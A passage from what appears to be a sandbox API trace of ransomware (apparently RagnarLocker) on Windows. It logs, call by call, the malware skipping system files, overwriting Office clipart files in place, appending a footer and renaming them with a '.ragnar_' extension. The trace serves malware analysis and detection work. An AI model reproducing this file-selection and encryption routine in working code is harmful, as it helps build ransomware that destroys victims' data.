dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.585] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1344) returned 1 [0090.585] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x537, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.585] GetProcessHeap () returned 0x580000 [0090.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.586] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.587] VirtualAlloc (lpAddress=0x0, dwSize=0x540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.587] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x540, lpOverlapped=0x0) returned 1 [0090.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.587] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x540, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.587] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x540, lpOverlapped=0x0) returned 1 [0090.588] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x540, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.588] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.588] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x540, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.588] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.588] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.588] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.588] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.588] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.588] GetProcessHeap () returned 0x580000 [0090.588] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.588] CloseHandle (hObject=0xf4) returned 1 [0090.588] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" [0090.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ragnar_FD7BD9FC" [0090.588] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.589] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0090.589] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.589] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL00712_.WMF" | out: lpString1="SL00712_.WMF") returned="SL00712_.WMF" [0090.589] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF") returned=".WMF" [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="autorun.inf") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="boot.ini") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="bootfont.bin") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="bootsect.bak") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="bootmgr") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="bootmgr.efi") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="desktop.ini") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="iconcache.db") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="ntldr") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="ntuser.dat") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.589] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="ntuser.ini") returned 1 [0090.590] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="thumbs.db") returned -1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.590] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf")) returned 0x20 [0090.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.590] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7608) returned 1 [0090.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.590] GetProcessHeap () returned 0x580000 [0090.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.590] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.592] VirtualAlloc (lpAddress=0x0, dwSize=0x1db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.592] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1db8, lpOverlapped=0x0) returned 1 [0090.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.593] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1db8, lpOverlapped=0x0) returned 1 [0090.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.594] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.594] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.594] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.594] GetProcessHeap () returned 0x580000 [0090.594] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.594] CloseHandle (hObject=0xf4) returned 1 [0090.594] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" [0090.594] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ragnar_FD7BD9FC" [0090.594] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.595] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0090.595] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.595] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL01040_.WMF" | out: lpString1="SL01040_.WMF") returned="SL01040_.WMF" [0090.595] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF") returned=".WMF" [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="autorun.inf") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="boot.ini") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="bootfont.bin") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="bootsect.bak") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="bootmgr") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="bootmgr.efi") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="desktop.ini") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="iconcache.db") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="ntldr") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="ntuser.dat") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="ntuser.ini") returned 1 [0090.595] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="thumbs.db") returned -1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.596] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf")) returned 0x20 [0090.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3292) returned 1 [0090.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.596] GetProcessHeap () returned 0x580000 [0090.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.596] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.598] VirtualAlloc (lpAddress=0x0, dwSize=0xcdc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.598] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcdc, lpOverlapped=0x0) returned 1 [0090.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.598] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.598] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcdc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcdc, lpOverlapped=0x0) returned 1 [0090.598] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.598] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.599] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.599] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.599] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.599] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.599] GetProcessHeap () returned 0x580000 [0090.599] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.599] CloseHandle (hObject=0xf4) returned 1 [0090.599] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" [0090.599] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ragnar_FD7BD9FC" [0090.599] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0090.600] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.600] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL01041_.WMF" | out: lpString1="SL01041_.WMF") returned="SL01041_.WMF" [0090.600] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF") returned=".WMF" [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="autorun.inf") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="boot.ini") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="bootfont.bin") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="bootsect.bak") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="bootmgr") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="bootmgr.efi") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="desktop.ini") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="iconcache.db") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="ntldr") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="ntuser.dat") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="ntuser.ini") returned 1 [0090.600] lstrcmpiW (lpString1="SL01041_.WMF", lpString2="thumbs.db") returned -1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.600] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf")) returned 0x20 [0090.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.601] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1548) returned 1 [0090.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x603, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.601] GetProcessHeap () returned 0x580000 [0090.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.601] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.603] VirtualAlloc 